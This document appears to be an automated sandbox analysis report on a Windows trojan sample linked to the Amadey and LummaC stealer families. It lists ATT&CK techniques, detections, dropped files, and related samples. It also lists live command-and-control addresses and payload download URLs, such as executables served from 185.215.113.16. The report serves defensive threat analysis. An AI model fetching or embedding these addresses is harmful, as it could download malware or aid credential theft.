Source: Yara match	File source: Process Memory Space: Q0DSEB9ODFQPXTS29CJ02.exe PID: 7756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
niwvNnBk2p.exe	55%	Virustotal		Browse
niwvNnBk2p.exe	63%	ReversingLabs	Win32.Trojan.Amadey
niwvNnBk2p.exe	100%	Avira	TR/Crypt.XPACK.Gen
niwvNnBk2p.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://grannyejh.lat/eA	100%	Avira URL Cloud	malware
http://185.215.113.16/l	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpsL	100%	Avira URL Cloud	malware
https://grannyejh.lat/9	100%	Avira URL Cloud	malware
https://grannyejh.lat/apier	100%	Avira URL Cloud	malware
https://grannyejh.lat/api?T	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeP	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe;	100%	Avira URL Cloud	malware
https://grannyejh.lat/apig	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiwSCa	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
grannyejh.lat	104.21.64.80	true	false		high
sweepyribs.lat	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
https://grannyejh.lat/api	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/eA	niwvNnBk2p.exe, 00000000.00000003.1411728390.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1408785692.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412541489.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apig	niwvNnBk2p.exe, 00000000.00000003.1436460976.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpsL	Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat:443/api	niwvNnBk2p.exe, niwvNnBk2p.exe, 00000000.00000003.1460377517.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1461014467.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeP	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apier	niwvNnBk2p.exe, 00000000.00000003.1563104379.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485417914.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/l	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/9	niwvNnBk2p.exe, 00000000.00000003.1485495246.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/api?T	niwvNnBk2p.exe, 00000000.00000003.1411728390.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1408785692.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1382363881.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1383507429.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1385372526.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412541489.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436460976.0000000001401000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.0000000001372000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php(	Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php0	Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1562137174.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1460627571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe;	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/apiwSCa	niwvNnBk2p.exe, 00000000.00000003.1460377517.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1446515246.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1461014467.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpT	Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.80	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578072
Start date and time:	2024-12-19 08:34:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	niwvNnBk2p.exe renamed because original name is a hash value
Original Sample Name:	8803c4a15774785fbe633e17a7406a5c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Q0DSEB9ODFQPXTS29CJ02.exe, PID 7756 because there are no executed function
Execution Graph export aborted for target niwvNnBk2p.exe, PID 5412 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:35:10	API Interceptor	25x Sleep call for process: niwvNnBk2p.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.64.80	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse
	random.exe.2.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/steam/random.exe
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/steam/random.exe
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grannyejh.lat	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	dlhost.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.64.80
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.80
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.64.80
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	104.21.64.80

